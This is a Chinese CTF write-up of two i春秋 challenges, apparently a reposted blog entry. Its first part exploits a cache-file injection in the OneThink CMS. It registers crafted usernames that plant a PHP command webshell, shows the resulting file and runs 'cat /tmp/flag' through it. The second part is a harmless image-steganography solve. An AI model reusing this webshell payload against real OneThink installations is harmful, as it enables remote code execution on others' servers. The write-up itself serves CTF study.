i春秋“巔峰極客”CTF A Simple CMS&loli WP

保證您更舒適的閱讀體驗(yàn)和持續(xù)更新,本文已轉(zhuǎn)移至我的個(gè)人博客,請(qǐng)您訪問http://anemone.top/以確保您閱讀的文章是最新版本,以及看到新的文章

i春秋辦的CTF,自己太菜,在各種師傅提示下才做出來兩題Orz,其他題目找機(jī)會(huì)復(fù)現(xiàn)吧。

A Simple CMS

看到網(wǎng)站是OneThink做的,百度搜了下該CMS存在漏洞,參考文章過程即可得到flag。但是其中的緩存文件做了修改,需要在本地復(fù)現(xiàn)一下,確定緩存文件名。

0x00

掃描網(wǎng)站敏感目錄,發(fā)現(xiàn)www.zip文件:

0x01

下載文件,在本地構(gòu)建復(fù)現(xiàn)環(huán)境,首先刪除onethink/onethink/Application/Install/Data/install.lock文件,然后訪問install.php

0x02

依次使用%0a$a=$_GET[a];// 和 <code>%0aecho `$a`;//</code> 注冊(cè)賬號(hào),在依次登錄賬號(hào),發(fā)現(xiàn)存在Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php文件,且文件內(nèi)容如下:

<?php
//000000000000a:4:{s:2:"u1";s:13:"Administrator";s:2:"u3";s:6:"test12";s:2:"u4";s:15:"
$a=$_GET[a];//";s:2:"u5";s:13:"
echo `$a`;//";}
?>

說明我們的一句話上傳成功,文件名為Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php,該文件名不改變。

0x03

在服務(wù)器上重復(fù)步驟2,getshell

在tmp目錄下獲取flag:

http://ddd27aa160354000ba7eba4b621e08cd9274bde410054da1.game.ichunqiu.com/Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php?a=cat%20/tmp/flag

loli

0x00

圖片下載下來,根據(jù)題目hint(0xFF),想到使用0xFF異或整個(gè)文件,腳本如下:

#!/usr/bin/env python
# coding=utf-8

def xor():
    with open('./1.png', 'rb') as f, open('xor.png', 'wb') as wf:
        for each in f.read():
            wf.write(chr(ord(each) ^ 0xff))


if __name__ == '__main__':
    xor()

得到文件xor.png。

0x01

使用二進(jìn)制編輯器觀察xor.png尾部,看到提示“black and white”,以及“IEND”標(biāo)識(shí),這是png的文件尾部,暗示該文件中隱藏了一個(gè)png文件。

end.png

使用 foremost 命令直接提取 (binwalk沒卵用,感謝NaN師傅的提示Orz):

foremost xor.png
ls ./output/png|grep png
00006777.png

0x02

觀察png文件,可以看到色塊分為11列,每列隔行的色塊永遠(yuǎn)是黑色,這說明應(yīng)該橫向讀取圖片,而列中的橫長(zhǎng)條由8個(gè)小色塊組成,顯然其代表的是一個(gè)字節(jié)的數(shù)據(jù)。

out.png

按上述思路提取該信息:

import matplotlib.image as mpimg  # mpimg 用于讀取圖片5:18

# png[y][x][rgb]

res_str = []
res = []


def readpng():
    png = mpimg.imread('./out.png')
    yy, xx, depth = png.shape
    for y in range(yy):
        if y % 2 == 0:
            for x in range(1, xx - 1, 9):
                _str = "0b" + str(int(png[y][x][0])) + str(int(png[y][x + 1][0])) + str(int(png[y][x + 2][0])) + str(int(png[y][x + 3][0])) + str(int(png[y][x + 4][0])) + str(int(png[y][x + 5][0])) + str(int(png[y][x + 6][0])) + str(int(png[y][x + 7][0]))
                res_str.append(_str)
                res.append(bin2hex(_str))
    print res_str
    with open('res.bin', 'wb') as f:
        for each in res:
            f.write(chr(each))


def bin2hex(_bin="0b101"):
    return int(_bin, 2) ^ 0xFF


if __name__ == '__main__':
    readpng()
    #  bin2hex("0b101")

生成的res.bin實(shí)際為文本文件,打開即可看到flag:

cat res.bin
Let's look this lyrics:The black sky hangs down,The bright stars follow,The insect winged insect flies,Who are you missing,The space star bursts into tears,The ground rose withers,The cold wind blows the cold wind to blow,So long as has you to accompany,The insect fly rests,A pair of pair only then beautiful,Did not fear darkness only fears brokenheartedly,No matter is tired,Also no matter four cardinal points.Emmmm,It looks like you don't care about this lyrics. Well, this is flag:flag{e0754197-e3ab-4d0d-b98f-96174c378a34}Let's look this lyric

注:相關(guān)文件已上傳至GitHub

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 純屬抄襲,原地址http://www.cnblogs.com/test404/p/6660129.html 0x0...
    Sund4y閱讀 10,467評(píng)論 0 5
  • 隱寫術(shù)總結(jié) AppLeU0·2015/02/10 10:14 http://drops.wooyun.org/ti...
    tmdsb38閱讀 4,673評(píng)論 0 15
  • 這次Web。。。Orz真的做不出來啊!所以大佬們一出的wp就趕緊屁顛屁顛去復(fù)現(xiàn)了。。。復(fù)現(xiàn)完寫下這些偽wp:(有些...
    Pr0ph3t閱讀 2,241評(píng)論 0 5
  • 社會(huì)快速發(fā)展,科學(xué)技術(shù)飛快地迭代更新,我們唯有不斷學(xué)習(xí)才能跟上時(shí)代前進(jìn)的步伐。 網(wǎng)上看到一條信息,一位在高速路上收...
    記錄自己的見聞閱讀 381評(píng)論 0 0
  • You think how august it will look in print It would make ...
    zhangrong2閱讀 189評(píng)論 0 0

友情鏈接更多精彩內(nèi)容